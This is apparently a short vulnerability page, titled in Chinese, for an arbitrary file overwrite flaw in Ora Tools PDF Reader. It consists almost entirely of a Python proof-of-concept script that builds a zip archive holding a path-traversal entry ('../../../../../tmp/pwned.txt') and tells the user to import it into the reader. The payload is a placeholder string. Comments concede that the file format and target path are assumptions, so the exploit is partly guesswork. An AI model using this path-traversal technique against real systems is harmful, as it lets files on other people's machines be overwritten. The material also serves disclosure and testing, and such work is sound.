CVE-2026-30291 Ora Tools PDF Reader 任意文件覆盖漏洞

import os import zipfile # Proof of Concept for CVE-2026-30291 # This script creates a malicious file attempting path traversal def create_malicious_poc(): # The malicious payload content payload_content = b"MALICIOUS_CODE_EXECUTION" # Path traversal filename to overwrite critical files # Note: Actual target path depends on the app's implementation malicious_filename = "../../../../../tmp/pwned.txt" # Create a zip file (if the app handles zips) or just the file # Assuming the app imports a specific format with zipfile.ZipFile('malicious_poc.zip', 'w') as zf: # Attempt to write outside the extraction directory zf.writestr(malicious_filename, payload_content) print(f"[+] Created malicious_poc.zip with file: {malicious_filename}") print("[+] Import this file into Ora Tools PDF Reader to trigger.") if __name__ == "__main__": create_malicious_poc()